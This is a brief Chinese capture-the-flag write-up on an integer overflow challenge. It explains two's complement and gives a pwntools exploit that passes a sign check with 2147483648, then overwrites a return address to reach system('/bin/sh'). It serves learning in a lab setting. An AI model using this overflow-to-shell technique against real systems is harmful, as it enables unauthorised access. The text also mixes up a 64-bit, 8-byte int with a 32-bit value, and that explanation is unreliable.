整型溢出的题目,我见的不多,这次记一下
这里是输入一个负数,进入判断后再给一个符号,要求仍然为负数,则进入溢出,也给了system('/bin/sh')
这里提一下补码的计算:取反加一
所以要求补码后仍然为负数,就需要利用后面那个加一来进位溢出。也就是再加一前为全1,取反之前则为全0,再加上首位是符号位,负数需要为1,推出我们要输入的数为首位为1,后面全0。
64位int长度8字节:
二进制:10000000000000000000000000000000
十六进制:80000000
十进制:2147483648
这个数求补之后等于它本身,通过判断。
Exp:
from pwn import*
p=remote('node2.hackingfor.fun',32360)
#p=process('./pwn')
context.log_level='debug'
shell=0x400781
p.send('2147483648')
payload=b'\xaa'*0x78+p64(shell)
p.send(payload)
p.interactive()